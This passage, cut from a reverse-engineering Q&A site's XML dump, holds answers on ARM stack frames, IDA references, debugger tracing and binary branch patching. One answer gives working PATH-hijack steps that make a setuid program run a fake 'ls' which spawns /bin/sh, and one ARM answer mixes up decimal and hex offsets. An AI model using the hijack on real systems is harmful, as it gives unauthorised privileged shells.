the accumulator. This means that the &lt;strong&gt;value is taken directly from the instruction&lt;/strong&gt;, as opposed to being taken from a register which the instruction points to. When the processor reads this instruction, it takes the operand (which in this case is an immediate value), and places it directly into the accumulator. It does not need to make a register or memory access other than that necessary to get the instruction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the fourth instruction, &lt;code&gt;ADDwf 0x07h,0&lt;/code&gt;, we do the opposite of the above. Instead of taking the value directly from the instruction, the &lt;strong&gt;instruction contains the address that the value is stored in&lt;/strong&gt;, in memory. So, when the processor reads this instruction, it requests from memory the value located in address &lt;code&gt;0x07h&lt;/code&gt; and does the operation with the value that the memory returns.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As a further example, let's look at how those two instructions might look at the byte level (be aware that this may not be the correct machine code for an actual PIC16 microcontroller):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let's assume that our instructions have 8 bit opcodes and 8 bit operands.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Our two instructions: &lt;code&gt;MOVlw 0x01&lt;/code&gt; and &lt;code&gt;ADDwf 0x07h,0&lt;/code&gt; might become something like: &lt;code&gt;01 01&lt;/code&gt; and &lt;code&gt;02 7h 00&lt;/code&gt;. This makes it much easier to see what's really going on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In &lt;code&gt;01 01&lt;/code&gt; (&lt;code&gt;MOVlw 0x01&lt;/code&gt;), the value &lt;code&gt;01&lt;/code&gt; comes directly from the operand field of the instruction. However, in &lt;code&gt;02 7h 00&lt;/code&gt; (&lt;code&gt;ADDwf 0x07h,0&lt;/code&gt;), the operand &lt;code&gt;7h&lt;/code&gt; is an address where the actual operand (in this case another &lt;code&gt;01&lt;/code&gt;) of the instruction is stored.&lt;/p&gt;&#xA;" OwnerUserId="23663" LastActivityDate="2018-03-19T08:11:31.530" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17729" PostTypeId="1" CreationDate="2018-03-19T08:50:11.247" Score="1" ViewCount="2560" Body="&lt;p&gt;I compile c code to arm with this site &lt;a href=&quot;https://godbolt.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://godbolt.org/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;int F(int a, int b) &#xA;{&#xA;    int c=0;&#xA;    for(int i=0;i&amp;lt;=10;i++)&#xA;    {&#xA;        c+=a+b;&#xA;    }    &#xA;    return c;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;the result was &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;F(int, int):&#xA;        str     fp, [sp, #-4]!&#xA;        add     fp, sp, #0&#xA;        sub     sp, sp, #20&#xA;        str     r0, [fp, #-16]&#xA;        str     r1, [fp, #-20]&#xA;        mov     r3, #0&#xA;        str     r3, [fp, #-8]&#xA;        mov     r3, #0&#xA;        str     r3, [fp, #-12]&#xA;.L3:&#xA;        ldr     r3, [fp, #-12]&#xA;        cmp     r3, #10&#xA;        bgt     .L2&#xA;        ldr     r2, [fp, #-16]&#xA;        ldr     r3, [fp, #-20]&#xA;        add     r3, r2, r3&#xA;        ldr     r2, [fp, #-8]&#xA;        add     r3, r2, r3&#xA;        str     r3, [fp, #-8]&#xA;        ldr     r3, [fp, #-12]&#xA;        add     r3, r3, #1&#xA;        str     r3, [fp, #-12]&#xA;        b       .L3&#xA;.L2:&#xA;        ldr     r3, [fp, #-8]&#xA;        mov     r0, r3&#xA;        sub     sp, fp, #0&#xA;        ldr     fp, [sp], #4&#xA;        bx      lr&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I saw here that parameters moved on the stack and not via registers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have 3 line that I not understand&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add     fp, sp, #0&#xA;sub     sp, sp, #20&#xA;str     r0, [fp, #-16]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;why fp get value= 0? I read about fp but I not sure I eral get it.&lt;/li&gt;&#xA;&lt;li&gt;why sp get down 20? I know it usualy to save plave for the local var, but why 20?&lt;/li&gt;&#xA;&lt;li&gt;why &lt;code&gt;str     r0, [fp, #-16]&lt;/code&gt; I not get it&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;by the way, why the parameters hers pass in the stack and not on registers?&#xA;thank you all&lt;/p&gt;&#xA;" OwnerUserId="23664" LastEditorUserId="3473" LastEditDate="2018-03-19T09:27:17.883" LastActivityDate="2018-03-19T10:01:00.310" Title="explain c compile code" Tags="|c|arm|program-analysis|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17730" PostTypeId="2" ParentId="17729" CreationDate="2018-03-19T09:51:39.007" Score="6" Body="&lt;p&gt;The parameters are passed in Registers r0 (a) and r1 (b); this is a convention defined in the &lt;a href=&quot;http://infocenter.arm.com/help/topic/com.arm.doc.ihi0042f/IHI0042F_aapcs.pdf&quot; rel=&quot;noreferrer&quot;&gt;Procedure Call Standard for the &#xA;ARM Architecture&lt;/a&gt;. However, without enabled optimizations, the compiler always stores parameters and local variables in the local stack frame (remember that the stack grown downwards - i.e., towards smaller addresses - on ARM).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; add     fp, sp, #0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This instruction doesn't set fp to 0, but rather to the current value of sp. fp serves as a reference to local information on the stack that remains constant during the execution of F. The old frame pointer, parameters and local variables are then stored at negative offsets from fp.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; sub     sp, sp, #20&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here, 20 Bytes of space are reserved on the stack, so that subsequent stack operations (e.g. calling another function from inside of F) do not modify the local stack frame of your function F.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; str     r0, [fp, #-16]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This copies r0 (Parameter a) into the local stack frame at address fp-16. The complete stack frame looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; fp- 4: old fp&#xA; fp- 8: local variable c&#xA; fp-12: local variable i&#xA; fp-16: parameter a&#xA; fp-20: parameter b&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note that sp points to fp-20 (since sp is copied to fp at the beginning of the function and sp is then decremented by 20). This is correct, since on ARM processors, the sp always points to the last used element on the stack, i.e. the next push operation decrements sp first (to fp-24) and writes data to the new sp address.&lt;/p&gt;&#xA;" OwnerDisplayName="user22967" LastActivityDate="2018-03-19T09:51:39.007" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17731" PostTypeId="2" ParentId="17729" CreationDate="2018-03-19T10:01:00.310" Score="3" Body="&lt;p&gt;It seems you made a few wrong assumptions, possibly due to unfamiliarity with the ARM instruction set. Let's have a look at the instructions one by one.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add     fp, sp, #0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is an &lt;em&gt;add&lt;/em&gt;, so the operation is &lt;code&gt;fp = sp+0&lt;/code&gt;, or &lt;code&gt;fp=sp&lt;/code&gt;. An analog on x86 would be &lt;code&gt;mov ebp, esp&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sub     sp, sp, #20&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This would look like &lt;code&gt;sub esp, 20h&lt;/code&gt; on x86. Basically, it allocates 0x20 bytes of stack space for local variables.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;str     r0, [fp, #-16]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Unlike most ARM instructions, here the left operand (&lt;code&gt;r0&lt;/code&gt;) is &lt;em&gt;not&lt;/em&gt; the destination, but &lt;em&gt;source&lt;/em&gt;. This instruction &lt;em&gt;stores&lt;/em&gt; (&lt;code&gt;str&lt;/code&gt;) the value of the register r0 at the location &lt;code&gt;fp-0x16&lt;/code&gt;. An x86 analog would look like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mov [ebp-10h], eax&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So, as you can see, it &lt;em&gt;does use&lt;/em&gt; the value of &lt;code&gt;r0&lt;/code&gt; as an input and only stores it on the stack as a temporary variables (later it retrieved again to perform the addition). The same happens with the second argument in &lt;code&gt;r1&lt;/code&gt;. If you add some optimization flags for the compiler (e.g. &lt;code&gt;-O1&lt;/code&gt; or &lt;code&gt;-O2&lt;/code&gt;), it's likely that it will manage to perform the operation without having to store &#xA;intermediate results on the stack. Here's the result I get for &lt;code&gt;-O1&lt;/code&gt; with GCC 7.2.1:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;F(int, int):&#xA;  add r1, r0, r1&#xA;  add r0, r1, r1, lsl #2&#xA;  add r0, r1, r0, lsl #1&#xA;  bx lr&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As you can see, there is no stack involved anymore, and the compiler even managed to convert a loop of additions into an optimized multiplication-add using shifts.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2018-03-19T10:01:00.310" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="17733" PostTypeId="2" ParentId="17576" CreationDate="2018-03-19T12:13:09.270" Score="4" Body="&lt;p&gt;If the program is setuid, you can use the fact that it is calling the command &lt;code&gt;ls -al /tmp&lt;/code&gt; through &lt;code&gt;system()&lt;/code&gt; from the &lt;code&gt;main()&lt;/code&gt; function.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Create a file &lt;code&gt;ls&lt;/code&gt; which contains:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#!/bin/sh&#xA;/bin/sh&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Set it as an executable script:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#&amp;gt; chmod +x ./ls&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Modify your &lt;code&gt;PATH&lt;/code&gt; to point to the current directory:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#&amp;gt; export PATH=.:${PATH}&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Run the weak software (where you have the fake &lt;code&gt;ls&lt;/code&gt; script):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#&amp;gt; /path/to/test&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Just a remark, the rest of the software seems to have been obfuscated, at least by renaming the subroutines into &lt;code&gt;sub_xxxx&lt;/code&gt;. It may also contain other obfuscations.&lt;/p&gt;&#xA;" OwnerUserId="53" LastEditorUserId="53" LastEditDate="2018-03-19T14:50:11.593" LastActivityDate="2018-03-19T14:50:11.593" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17734" PostTypeId="1" CreationDate="2018-03-19T12:40:53.327" Score="1" ViewCount="1434" Body="&lt;p&gt;I compile this code &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;1.  #include &amp;lt;stdio.h&amp;gt;&#xA;2.  void F(int a, int b)&#xA;3.  {&#xA;4.  int c= a+b;&#xA;5.  int d= a*b; &#xA;6. }&#xA;&#xA;&#xA;7.  void printAll()&#xA;8.  {&#xA;9.    printf(&quot;test1&quot;);&#xA;10.   printf(&quot;test2&quot;);&#xA;11.   printf(&quot;after a+b&quot;);&#xA;12.   printf(&quot;test4&quot;);&#xA;13.  }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and get this code&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;F(int, int):&#xA;        str     fp, [sp, #-4]!&#xA;        add     fp, sp, #0&#xA;        sub     sp, sp, #20&#xA;        str     r0, [fp, #-16]&#xA;        str     r1, [fp, #-20]&#xA;        ldr     r2, [fp, #-16]&#xA;        ldr     r3, [fp, #-20]&#xA;        add     r3, r2, r3&#xA;        str     r3, [fp, #-8]&#xA;        ldr     r3, [fp, #-16]&#xA;        ldr     r2, [fp, #-20]&#xA;        mul     r3, r2, r3&#xA;        str     r3, [fp, #-12]&#xA;        mov     r0, r0    @ nop&#xA;        sub     sp, fp, #0&#xA;        ldr     fp, [sp], #4&#xA;        bx      lr&#xA;.LC0:&#xA;        .ascii  &quot;test1\000&quot;&#xA;.LC1:&#xA;        .ascii  &quot;test2\000&quot;&#xA;.LC2:&#xA;        .ascii  &quot;after a+b\000&quot;&#xA;.LC3:&#xA;        .ascii  &quot;test4\000&quot;&#xA;printAll():&#xA;        stmfd   sp!, {fp, lr}&#xA;        add     fp, sp, #4&#xA;        ldr     r0, .L3&#xA;        bl      printf&#xA;        ldr     r0, .L3+4&#xA;        bl      printf&#xA;        ldr     r0, .L3+8&#xA;        bl      printf&#xA;        ldr     r0, .L3+12&#xA;        bl      printf&#xA;        mov     r0, r0    @ nop&#xA;        sub     sp, fp, #4&#xA;        ldmfd   sp!, {fp, lr}&#xA;        bx      lr&#xA;.L3:&#xA;        .word   .LC0&#xA;        .word   .LC1&#xA;        .word   .LC2&#xA;        .word   .LC3&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I understanad all of this code, that no a problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;what I want to understand is how can I patch a branch.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to edit my binary file without damage the offset of function and after this line  &lt;code&gt;int c= a+b;&lt;/code&gt; I want to jump to this line  &lt;code&gt;printf(&quot;after a+b&quot;);&lt;/code&gt;&#xA;and then go back to &lt;code&gt;int d= a*b;&lt;/code&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think I need to add 2 branch (B) instructions : 1 between lines 4-5  and second is between  10-11 &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, after I finish lines 4, I jump to line 11 and when I finish lines 11 I jump to line 5.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is that the right way to do this?&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;I did not found how to write B (branch) instruction in hex, and how can I know what is the address where to jump by reading the binary file (with Ida).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Is that the right way ? use on &lt;code&gt;B&lt;/code&gt; instruction ?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;I not have a problem to remove some line on printAll function so I not afraid to add there label and branch instructions (I can remove line 9 and then I have space to patch 2 instructions ).&#xA;But I can't remove any instructions from F function, how can I do it ?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="23664" LastEditorUserId="53" LastEditDate="2018-04-04T08:05:40.830" LastActivityDate="2018-04-04T08:05:40.830" Title="Patching branch on assembly code" Tags="|ida|c|arm|patch-reversing|binary-editing|" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="17735" PostTypeId="1" AcceptedAnswerId="17739" CreationDate="2018-03-19T19:26:08.637" Score="2" ViewCount="860" Body="&lt;p&gt;I have loaded a binary file into IDA which is for Motorola 6800 series. &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;The strings are referenced like this: &lt;code&gt;pea     ($2017A99).l&lt;/code&gt;.&#xA;The actual address of the referenced string in above command is &lt;code&gt;0x017A99&lt;/code&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Functions are called like this: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;lea     ($200CA4C).l,a3&#xA;jsr     (a3)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jsr     $200CA4C&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;where in both cases, the actual address of the function is &lt;code&gt;0x0CA4C&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;IDA pro didn't detect any of those and didn't add anything to xrefs or other reference lists.&lt;br&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Now my question is how can I modify string reference and function call detection process of IDA so they can be detected ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regards.&lt;/p&gt;&#xA;" OwnerUserId="23669" LastEditorUserId="23669" LastEditDate="2018-03-20T19:22:29.617" LastActivityDate="2018-03-20T19:22:29.617" Title="How to modify strings and funtions reference detection in IDA pro?" Tags="|ida|idapython|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17736" PostTypeId="1" CreationDate="2018-03-19T19:29:46.217" Score="5" ViewCount="9576" Body="&lt;p&gt;I'm new with &lt;code&gt;x64dbg&lt;/code&gt; and want to know if there is any way to get the trace of a functions inside a module? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've used trace over option, but basically it just traces all the insturctions but doesn't &quot;step in&quot; into a call statement.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/12778/can-windbg-trace-function-calls-within-a-module&quot;&gt;Here&lt;/a&gt; I found a way to do this using windbg(notice the treeview of functions and return values), but is there any way I can do same using &lt;code&gt;x64dbg&lt;/code&gt;? or maybe trace all the api calls of a module. &#xA;thanks.&lt;/p&gt;&#xA;" OwnerUserId="21456" LastActivityDate="2023-05-09T06:25:58.573" Title="Tracing function calls in x64dbg" Tags="|disassembly|windows|windbg|functions|x64dbg|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17737" PostTypeId="1" AcceptedAnswerId="17743" CreationDate="2018-03-19T19:41:35.487" Score="3" ViewCount="751" Body="&lt;p&gt;Radare2 has S* commands, that can show, delete, modify sections. Is it possible to create new section in executable file and save it?&lt;/p&gt;&#xA;" OwnerUserId="23670" LastActivityDate="2019-12-23T10:50:58.283" Title="Radare2 create section" Tags="|disassembly|elf|radare2|section|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17738" PostTypeId="2" ParentId="17734" CreationDate="2018-03-19T21:00:21.237" Score="1" Body="&lt;p&gt;I took Your code inserted some #defines that are needed to compile arm in vc2017 community dev prompt &lt;/p&gt;&#xA;&#xA;&lt;p&gt;modified your  printall() to main() so that there is an entry point defined &lt;/p&gt;&#xA;&#xA;&lt;p&gt;inserted a call to F() so that it is easily identifiable and loaded the compiled exe into radare2 &lt;/p&gt;&#xA;&#xA;&lt;p&gt;modified code &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//#defines to make vs2017 community build arm &#xA;// need to pass -arch-arm -host_arch=x86 or appropriate  host_arch&#xA;// i compiled this on x86 32 so i passed x86 to vsdevcmd.bat&#xA;// and compiled with cl foo.cpp&#xA;#define _CRT_BUILD_DESKTOP_APP 1&#xA;#define _ARM_WINAPI_PARTITION_DESKTOP_SDK_AVAILABLE 1&#xA;#include &amp;lt;stdio.h&amp;gt;&#xA;void F(int a, int b) {&#xA;    int c= a+b;&#xA;    int d= a*b;&#xA;}&#xA;void main() {&#xA;    printf(&quot;test1&quot;);&#xA;    printf(&quot;test2&quot;);&#xA;    printf(&quot;after a+b&quot;);&#xA;    printf(&quot;test4&quot;);&#xA;    // call F() inserted so it is easily identifiable &#xA;    // and / or not thrown away by compiler for no ref &#xA;    F(4,5); &#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;compiled linked and opened up the exe in radare2 &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt;cl armie.cpp&#xA;Microsoft (R) C/C++ Optimizing Compiler Version 19.13.26128 for ARM&#xA;Copyright (C) Microsoft Corporation.  All rights reserved.&#xA;&#xA;armie.cpp&#xA;Microsoft (R) Incremental Linker Version 14.13.26128.0&#xA;Copyright (C) Microsoft Corporation.  All rights reserved.&#xA;&#xA;/out:armie.exe&#xA;/machine:arm&#xA;armie.obj&#xA;&#xA;&amp;gt;radare2 -AA armie.exe&#xA;←[32m[x]←[0m Analyze all flags starting with sym. and entry0 (aa)&#xA;[ ] ←[33m&#xA;[←[0mValue from 0x00401000 to 0x00417000&#xA;aav: 0x00401000-0x00417000 in 0x401000-0x417000&#xA;←[32m[x]←[0m Analyze len bytes of instructions for references (aar)&#xA;←[32m[x]←[0m Analyze function calls (aac)&#xA;←[32m[x]←[0m Emulate code to find computed references (aae)&#xA;←[32m[x]←[0m Analyze consecutive function (aat)&#xA;←[32m[x]←[0m Constructing a function name for fcn.* and sym.func.* functions (aan)&#xA;←[32m[x]←[0m Type matching analysis for all functions (afta)&#xA; -- Run a command with unspecified long sequence of 'a', &#xA; pancake will be summoned and do the analysis for you.&#xA;[0x00401fa0]&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;the disassembly of the mainfunction &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;looking for string refs&#xA;[0x00401fa0]&amp;gt; iz~test&#xA;000 0x0000c550 0x0040d150   5   6 (.rdata) ascii test1&#xA;&#xA;looking for xrefs to string refs&#xA;[0x00401fa0]&amp;gt; axt 0x40d150&#xA;(nofunc) 0x401d48 [null] subeq sp, r0, r0, asr r1&#xA;fcn.00401d08 0x401d10 [data] invalid&#xA;&#xA;printing the disassembly of the referred function     &#xA;[0x00401fa0]&amp;gt; pdf @ fcn.00401d08&#xA;/ (fcn) fcn.00401d08 52&#xA;|   fcn.00401d08 ();&#xA;|              ; UNKNOWN XREF from 0x00401f46 (aav.0x00401e85 + 193)&#xA;|              ; CALL XREF from 0x00401f46 (aav.0x00401e85 + 193)&#xA;|           0x00401d08      2de90048       push.w {fp, lr}&#xA;|           0x00401d0c      eb46           mov fp, sp&#xA;|           0x00401d0e      82b0           sub sp, 8&#xA;|           0x00401d10      0d48           ldr r0, str.test1  ; [0x40d150:4]=0x ; &quot;test1&quot;&#xA;|           0x00401d12      00f04bf8       bl fcn.00401dac&#xA;|           0x00401d16      0b48           ldr r0, str.test2  ; [0x40d158:4]=0x ; &quot;test2&quot;&#xA;|           0x00401d18      00f048f8       bl fcn.00401dac&#xA;|           0x00401d1c      0848           ldr r0, str.after_a_b;[0x40d160:4]=; &quot;after a+b&quot;&#xA;|           0x00401d1e      00f045f8       bl fcn.00401dac&#xA;|           0x00401d22      0648           ldr r0, str.test4  ; [0x40d16c:4]=0x ; &quot;test4&quot;&#xA;|           0x00401d24      00f042f8       bl fcn.00401dac&#xA;|           0x00401d28      0521           movs r1, 5         ; 5&#xA;|           0x00401d2a      0420           movs r0, 4         ; 4&#xA;|           0x00401d2c      fff7d8ff       bl fcn.00401ce0&#xA;|           0x00401d30      0023           movs r3, 0&#xA;|           0x00401d32      0093           str r3, [sp]&#xA;|           0x00401d34      0098           ldr r0, [sp]&#xA;|           0x00401d36      02b0           add sp, 8&#xA;\           0x00401d38      bde80088       pop.w {fp, pc}&#xA;[0x00401fa0]&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;so you can see your F() is at 0x401ce0&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[0x00401fa0]&amp;gt; pdf @0x401ce0&#xA;/ (fcn) fcn.00401ce0 38&#xA;|   fcn.00401ce0 ();&#xA;|              ; UNKNOWN XREF from 0x00401d2c (fcn.00401d08)&#xA;|              ; CALL XREF from 0x00401d2c (fcn.00401d08)&#xA;|           0x00401ce0      03b4           push {r0, r1}&#xA;|           0x00401ce2      2de90048       push.w {fp, lr}&#xA;|           0x00401ce6      eb46           mov fp, sp&#xA;|           0x00401ce8      82b0           sub sp, 8&#xA;|           0x00401cea      049a           ldr r2, [sp, 0x10]&#xA;|           0x00401cec      059b           ldr r3, [sp, 0x14]&#xA;|           0x00401cee      1344           add r3, r2&#xA;|           0x00401cf0      0093           str r3, [sp]&#xA;damage here and insert an unconditional jump if it is 2 bytes 1cf2&#xA;will be damaged if more bytes more instruction will be damaged &#xA;before print save what you need to restore back do the printf &#xA;restore what you damage and jump back to a valid address &#xA;|           0x00401cf2      049a           ldr r2, [sp, 0x10]&#xA;|           0x00401cf4      059b           ldr r3, [sp, 0x14]&#xA;|           0x00401cf6      02fb03f3       mul r3, r2, r3&#xA;|           0x00401cfa      0193           str r3, [sp, 4]&#xA;|           0x00401cfc      02b0           add sp, 8&#xA;|           0x00401cfe      5df804bb       ldr fp, [sp], 4&#xA;\           0x00401d02      5df80cfb       ldr pc, [sp], 0xc&#xA;[0x00401fa0]&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;so you need to print after a+b after the address   &lt;code&gt;0x00401cee      1344           add r3, r2&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;so you should jump from this address to 0x401d1c in the process if you damage the str instruction you may need to restore it in some new place (code caves some new added section whatever &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT&lt;/strong&gt;&lt;br&gt;&#xA;assuming you patched &lt;strong&gt;6 bytes from 0x401cf2&lt;/strong&gt;  and jumped to &lt;strong&gt;0x401d1c&lt;/strong&gt; &#xA;there you should recreate the 6 bytes  before or after you do your printf() and jumping back &lt;/p&gt;&#xA;&#xA;&lt;p&gt;address bytes original -&gt; address patched bytes -&gt; jmping to new location-&gt;&lt;br&gt;&#xA;save the needed registers (if on x86 pushad / pushf / popad / popf instructions   find equivalent for that in arm if there is no wholesale register saving   instructions save them individually )&lt;br&gt;&#xA;after that execute your printf&lt;br&gt;&#xA;after executing printf repatch the damaged bytes and then patch a jmp back instruction  so that the damaged instructions are executed prior to jumping back&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;patching with arm windbg&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;:\&amp;gt;cdb -z armie.exe&#xA;the complete function disassembly of F()&#xA;&#xA;Microsoft (R) Windows Debugger Version 10.0.16299.15 X86&#xA;&#xA;0:000&amp;gt; uf 401ce0&#xA;armie+0x1ce0:&#xA;00401ce0 b403     push        {r0,r1}&#xA;00401ce2 e92d4800 push        {r11,lr}&#xA;00401ce6 46eb     mov         r11,sp&#xA;00401ce8 b082     sub         sp,sp,#8&#xA;00401cea 9a04     ldr         r2,[sp,#0x10]&#xA;00401cec 9b05     ldr         r3,[sp,#0x14]&#xA;00401cee 4413     add         r3,r3,r2&#xA;00401cf0 9300     str         r3,[sp]&#xA;00401cf2 9a04     ldr         r2,[sp,#0x10] &amp;lt;&amp;lt;&amp;lt; patch here &#xA;00401cf4 9b05     ldr         r3,[sp,#0x14]&#xA;00401cf6 fb02f303 mul         r3,r2,r3&#xA;00401cfa 9301     str         r3,[sp,#4]&#xA;00401cfc b002     add         sp,sp,#8&#xA;00401cfe f85dbb04 pop         {r11}&#xA;00401d02 f85dfb0c ldr         pc,[sp],#0xC&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;patching at 401cf2 and redisassembling to see if b label patch is correct or not &#xA;windbg uf does control flow and shows it will execute the jmp and printf&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0:000&amp;gt; eb 401cf2 11 e0&#xA;0:000&amp;gt; uf 401ce0&#xA;&#xA;armie+0x1ce0:&#xA;00401ce0 b403     push        {r0,r1}&#xA;00401ce2 e92d4800 push        {r11,lr}&#xA;00401ce6 46eb     mov         r11,sp&#xA;00401ce8 b082     sub         sp,sp,#8&#xA;00401cea 9a04     ldr         r2,[sp,#0x10]&#xA;00401cec 9b05     ldr         r3,[sp,#0x14]&#xA;00401cee 4413     add         r3,r3,r2&#xA;00401cf0 9300     str         r3,[sp]&#xA;&#xA;&amp;gt; (( 0xe011 &amp;amp; 0b0000011111111111 ) &amp;lt;&amp;lt; 1 )+4 + 0x401cf2&#xA;ans = 0x00401D18&#xA;&#xA;00401cf2 e011     b           armie+0x1d18 (00401d18) &amp;lt;&amp;lt;&amp;lt; we jumped to printf here &#xA;damaged two bytes we need to restore it back when we jump back&#xA;&#xA;armie+0x1d18:&#xA;00401d18 f000f848 bl          armie+0x1dac (00401dac)&#xA;00401d1c 4808     ldr         r0,=armie+0xd160 (0040d160) ; [armie+0x1d40 (00401d40)]&#xA;00401d1e f000f845 bl          armie+0x1dac (00401dac)&#xA;-=xxxxxxxxxxxxxxxxxxxxxx===- &#xA;0:000&amp;gt; u 401cf2&#xA;armie+0x1cf2:&#xA;00401cf2 e011     b           armie+0x1d18 (00401d18)&#xA;00401cf4 9b05     ldr         r3,[sp,#0x14]  &amp;lt;&amp;lt;&amp;lt;&amp;lt; only two bytes damaged by patch 